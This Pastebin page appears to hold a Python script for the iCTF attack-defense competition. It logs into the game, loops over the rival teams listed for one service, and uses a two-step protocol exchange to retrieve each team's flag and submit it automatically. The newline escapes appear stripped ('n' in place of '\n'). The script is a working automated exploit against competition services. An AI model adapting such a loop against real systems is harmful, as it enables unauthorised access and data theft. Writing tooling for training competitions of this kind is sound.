Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from ictf import iCTF
- import json
- import socket
- i = iCTF()
- t = i.login('MAIL', 'PASSWORD')
- while 1:
- tmp = t.get_targets(10004)# получаем список команд
- for team in tmp['targets']:
- try:
- conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- conn.settimeout(2)
- conn.connect((team['hostname'], team['port']))
- conn.recv(1024)
- conn.send(b'Sn')
- conn.recv(1024)
- conn.send(str.encode('%sn' % team['flag_id']))
- data = conn.recv(1024).decode('utf-8')
- conn.close()
- if "The signature" in data:
- lines = data.split('n')
- conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- conn.settimeout(2)
- conn.connect((team['hostname'], team['port']))
- conn.recv(1024)
- conn.send(b'Rn')
- conn.recv(1024).decode('utf-8')
- conn.send(str.encode('%s %sn' % (team['flag_id'], lines[1])))
- data = conn.recv(1024).decode('utf-8')
- s = t.submit_flag(list(data))
- print('Success - %s %s' % (data, s))
- conn.close()
- else:
- print('Bad team - {}'.format(team['team_name']))
- conn.close()
- except Exception:
- continue
- conn.close()
Advertisement
Add Comment
Please, Sign In to add comment